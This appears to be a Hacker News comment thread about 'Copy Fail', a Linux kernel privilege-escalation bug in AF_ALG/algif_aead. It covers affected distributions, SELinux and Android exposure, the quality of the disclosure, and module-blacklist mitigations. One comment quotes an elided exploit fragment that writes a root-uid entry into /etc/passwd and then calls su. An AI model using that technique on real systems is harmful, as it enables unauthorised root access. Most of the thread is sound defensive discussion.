- vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong)
- post it on HN with no further explanation in the title
Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo??
Sorry if this comes over as salty, I guess I'm just not getting the thought process.
I think we should be celebrating people hosting their own content on their own website instead of just posting on some social media site.
This site though is pretty useful; first it serves as a central location to point people to with short links in chats/emails/whatever, then it has a quick visual explainer and a link to the detailed technical report for those who want more info. Pretty neat.
Last but not least, buying the domain must have taken 5 minutes, prompting the page must have taken 30 minutes and posting it on HN must have taken 1 minute. So it certainly wasn't a lot of work in the grand scheme of things and probably did not deter the team from doing other important things.
Then it's syndicate everywhere.
But all roads lead back to the domain.
This is HUGE news, I would have skimmed over "Copy Fail".
The blog post might be a better place to link to also, it has more details on the exploit.
https://xint.io/blog/copy-fail-linux-distributions
There are also some good threads on which distros are vulnerable and mitigations on the github page.
https://github.com/theori-io/copy-fail-CVE-2026-31431/issues
they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.
"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."
They've done themselves no favours at all with their write up.
It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.
For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.
The details will depend on whether the kernel is a newer release or a maintenance version of an older release.
https://security-tracker.debian.org/tracker/CVE-2026-31431
https://ubuntu.com/security/CVE-2026-31431
Also, disabling algif_aead is suggested as mitigation
The vulnerability also isn't present in standard AOSP GKI kernels (including the stock Pixel OS) or GrapheneOS kernels since they use a minimal kernel with tons of functionality disabled. Other OEMs may enable it but SELinux policy won't permit accessing it. OEMs can weaken SELinux policy but they're restricted by the neverallow rules which disallow permitting apps to access a list of non-standard socket types including AF_ALG.
The vulnerability also isn't present in standard AOSP GKI kernels (including the stock Pixel OS) or GrapheneOS kernels since they use a minimal kernel with tons of functionality disabled.
Kernel attack surface is mainly done via SELinux policies on AOSP including ioctl command allowlists per device type such as permitted GPU driver ioctl commands, io_uring only being permitted for a few core processes and much more. AOSP uses seccomp-bpf for apps, etc. too but it's mainly SELinux doing kernel attack surface reduction in practice.
https://github.com/opensourcerouting/frr/blob/2b48e4f97fb021...
And, sure, if it breaks system security it's pointless. But so did "dirty pipe".
I do agree the number of issues in AF_ALG is annoying, which is why I suggested a CAP_* restriction. Maybe CAP_SYS_ADMIN in init_ns, that's kinda the big hammer.
I knew what LPE stands for but not the others. (I've seen MCU mentioned and kinda had a vague feeling for what it is. Never even seen LVAD.)
Still every machine I've looked at, and I've since looked at a couple more, has it r-x for world.
Sibling comment says this version seems to be immune.
It's security in depth. You build your server in a way that it doesn't allow remote code execution, and then you run it with an unprivileged user so that if it does allow it, the consequences are limited. And if running arbitrary code is a feature (you are github or whatever) you use VMs.
So the options related to AF_ALG have always been disabled, because I have not encountered an application that needs them, among those that I use.
Unfortunately the Linux distributions must enable in their default configuration most options, because they cannot predict what their users will need.
I can understand that PoV, but it doesn't fit with distributions' approach to security. So, in practice, one has to reach out to distributions individually, or use distros lists on openwall.org to coordinate with all distros.
f=g.open("/etc/passwd",0);
e="rkeene:x:0:0:System administrator:/root:/run/current-system/sw/bin/bash\n".encode()
...
g.system("/run/wrappers/bin/su - rkeene")It's unfortunate though since this is one thing I think Windows does decently well. The Windows crypto and TLS APIs do use a key isolation process by default (LSASS) and have a stable interface for other processes to use it [0]. I imagine systemd could implement something similar, but I also know that there are very strong opinions about adding more surface area to systemd.
[0] https://blackhat.com/docs/us-16/materials/us-16-Kambic-Cunni...
Cloudflare is using custom BoringSSL-based crypto code in the kernel:
https://lore.kernel.org/all/CALrw=nEyTeP=6QcdEvaeMLZEq_pYB9W...
PulseAudio applications can still produce (but not record) audio through apulse and my handcrafted asoundrc
I was running in Gentoo "6.18.18" (amd64) and the exploit worked (and all other shells which I PREVIOUSLY opened could then just execute "su -" without password to become "root") -> doing temporarily a "modprobe -r algif_aead" on-the-fly did not fix it as I was still able to swap to "root" from the unprivileged user by executing just "su -".
"6.18.25" fixed it (module "algif_aead" still running).
- Maybe older Kernel versions that don't contain the fix should be blacklisted?
- FYI in Gentoo I had to recompile "sys-fs/zfs-kmod" after the minor kernel upgrade (I initially skipped it, but after rebooting with the new kernel I could not mount my raidz1) -> the same might be needed for other external modules.
Whether local access to a system was lawfully granted, whether the af alg module was probed, whether page cache in memory was corrupted, whether su binary on disk was modified, whether other users could access su after the intervention, what the terms of services were. Whether information from other users was accessed, whether the server is private or government related, whether the vuln was actually present, what actions were taken in notifying the server owner if the vuln was present etc..
To claim that X is illegal without regard for any of these variable facts is unlikely to hold generally.
Additionally, as a plaintiff I would be looking at a civil claim, so that would be my concern when evaluating defendant liabilities as well.
$ sesearch -A -c alg_socket -p createallow bluetooth_t bluetooth_t:alg_socket { accept append bind connect create getattr getopt ioctl listen lock read setattr setopt shutdown write };
allow container_device_plugin_init_t container_device_plugin_init_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_device_plugin_t container_device_plugin_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_device_t container_device_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_engine_t container_engine_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_init_t container_init_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_kvm_t container_kvm_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_logreader_t container_logreader_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_logwriter_t container_logwriter_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_t container_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_userns_t container_userns_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow openshift_app_t openshift_app_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
allow openshift_t openshift_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
allow spc_t unlabeled_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
allow staff_t staff_t:alg_socket { append bind connect create getopt ioctl lock read setattr setopt shutdown write };
allow sysadm_t sysadm_t:alg_socket { accept append bind connect create getopt ioctl listen lock read setattr setopt shutdown write };
allow unconfined_domain_type domain:alg_socket { accept append bind connect create getattr getopt ioctl listen lock map name_bind read recv_msg recvfrom relabelfrom relabelto send_msg sendto setattr setopt shutdown write };
allow user_t user_t:alg_socket { append bind connect create getopt ioctl lock read setattr setopt shutdown write };
(Maybe you & others are specifically thinking of Android's policy?)
Now it's done by an LLM to sell more LLMs services. Disclosure is botched to have the most sensational title so more click more upsell.
With that being said, I wouldn't mind if they made more sales on whatever they're advertising IF they followed the disclosure process well. A bad disclose immediately tells me I can't trust them because their moment in the light was more important that the safety of millions of boxes.
You can also call it Debian 13.
Anyone who knows anything about this subject immediately understands what is connoted by "Debian Stable". I run Trixie on most of my personal boxes and I had no idea what version number it is, nor do I particularly care.
It's not that hard to find though:
$ cat /etc/debian_version
13.4In fact, why do people even write stuff down? Everyone should just know everything.
lsmod shows it is not loaded on any of the Trixie or Bookworm machines I have checked, Intel or AMD.
modprobe algif_aead
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
For example, if you have passwordless sudo, you've already got a widely known LPE vulnerability lurking on your system.
Realistically a "sudo button" would be handy, on the keyboard, with a display to show a confirmation pin for the request (probably also needs a deny button so you can try and identify weird ones).
A lack of adoption isn't apriori a good argument against an interface, and serious bugs can happen anywhere.
My personal opinion for a while has been that crypto operations should be in the kernel so we can end the madness that is every application shipping it's own crypto and trust system which has only gotten worse since containers were invented.
There’s a valid argument here but I think that’d devolve into the DNSSec trap without both a very well-designed API and a stable way to ship updates for older kernels. If people can’t get good user experience or have to force kernel upgrades to improve security, most applications will avoid it. Things like Chrome shipping their own crypto mean that they can very quickly ship things like PQC without waiting years or having to deal with issues like kernel n+1 having unrelated driver or performance issues which force things into a security vs. functionality fight.
But the Chrome example also highlights the problem: Chrome might ship it, but vanishingly little software is ever going to upgrade and we've got an explosion of statically linked languages now.
I mean it kind of is (perhaps not a priori, but why is that relavent?). If something is not being used, its not meeting needs, so its just increasing attack surfaces without benefit.
> Before you can patch: disable the algif_aead module.
> echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
> rmmod algif_aead 2>/dev/null || true
Edit: and I can confirm that on my system with kernel 6.19.8 the above fixes the exploit.
Linux wsl2 6.6.87.2-microsoft-standard-WSL2 ...
Outside of WSL2, the mitigation does appear to work though.
zgrep CRYPTO_USER_API_AEAD /proc/config.gz /boot/config-*
The stance was never sustainable, hence linux LPEs being constantly available. The solution is to treat your kernel as impossible to secure. Notably, gvisor users are not impacted by this CVE. Seccomp also kills this CVE.
Update: Just tried it on Termux and as expected even creating an AF_ALG socket requires root access.
However,
> it should be accessed from user space by a process with the appropriate token.
That is AF_ALG. The operations it offers are what you need for full coverage. The issues with it are two:
- usage specific crypto in the kernel implements the same interfaces, and it doesn't have a filter for that, as mentioned above. It's not offering too many operations, it's offering too many algorithms.
- it's trying to be fast. I guess people also want to use crypto accelerators through it. (Which is kinda related to TPMs, there is accelerator hardware with built-in protected key storage...)
The CVE we're looking at here is in the intersection of both of these.
I've liked it nevertheless for context, as augmentation to parent's post.
You could push that all down to the accelerator, but if there are even a few such use cases you might want a dedicated DMA-capable implementation instead.
You've almost certainly never had a system that supported any hardware accelerated crypto that also required a kernel module.
It's much easier to expose as cpu extensions.
How recursive should their notifications be? Just the tip three distros? The top dozen? Every embedded Linux router company? How about every hosting provider?
They did what they're supposed to without being paid for it. The only other good source of funding for security research besides marketing budgets for security companies will NOT result in a disclosure timeline you'd be happier with. ;-)
Back in the day those of us breaking into shitty php sites didn't use LPE, we used "privesc", IIRC.
CONFIG_CRYPTO_USER_API_AEAD=m
[module_request] pid=3648 comm=python name=algif-aead
[umh_setup] pid=3648 comm=python path=/sbin/modprobe argv0=/sbin/modprobe argv1=-q argv2=-- argv3=algif-aead argv4=
[openat] pid=3688 file=/etc/ld.so.cache
[openat] pid=3688 file=/lib/liblzma.so.5
[openat] pid=3688 file=/lib/libz.so.1
[openat] pid=3688 file=/lib/libgcc_s.so.1
[openat] pid=3688 file=/lib/libc.so.6
[openat] pid=3688 file=/etc/modprobe.d
[openat] pid=3688 file=/lib/modprobe.d
[openat] pid=3688 file=/lib/modprobe.d/dist-blacklist.conf
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.softdep
[openat] pid=3688 file=/lib/modprobe.d/systemd.conf
[openat] pid=3688 file=/etc/modprobe.d/usb.conf
[openat] pid=3688 file=/proc/cmdline
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.dep.bin
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.alias.bin..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.symbols.b..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.builtin.a..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.builtin.b..
[openat] pid=3688 file=/sys/module/algif_aead/initstate
[openat] pid=3688 file=/sys/module/af_alg/initstate
[openat] pid=3688 file=/sys/module/algif_aead/initstate
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/kernel/crypto/alg..
[finit_module] pid=3688 comm=modprobe fd=0 flags=0
[module_load] pid=3688 comm=modprobe name=algif_aead
The mystery is why.
~ uname -r
6.18.20.3-microsoft-standard-WSL2+
I'm sure that, at first glance, many more people would take this much more seriously had the authors gone with a style-less HTML page or something, and that'd require _less_ effort, not more.
The more I think about it, the more I think it should be behind CAP_SYS_ADMIN, or a new CAP_KCRYPT (better name TBD. CAP_CRYPT_OFFLOAD?)
Still a risk that some admin-enabled method (like enabling an IPsec VPN) provides a path to it, but would reduce the potential for crafting weird inputs.
So what's missing is that keeping up-to-date with CVEs is important and some CVEs are Internet-nerd famous. Remember Heartbleed? Even some casual gamers I know had heard of it. And everyone who's mildly serious about sysadmin knows you want to defensively keep systems patched against important CVEs. The second layer of that, what the exploits actually are or do, is a second-layer term of art, one that one might miss the jargon for even if one has familiarity with the concepts.
To me, the fact that the page is obviously AI-assisted is way more upsetting than some guy not knowing what an acronym means. There's something about AI prose that is just so fucking tedious. It makes the mind glaze over.
I obviously do not expect someone who has merely heard of various CVEs before to know anything about the contents of those CVEs. The other poster said they had "read many CVEs", which I took to mean they have read many CVE disclosures, where the term is extremely common. Perhaps they meant that they've read about CVEs, in which case I can see why the term would not be on their radar.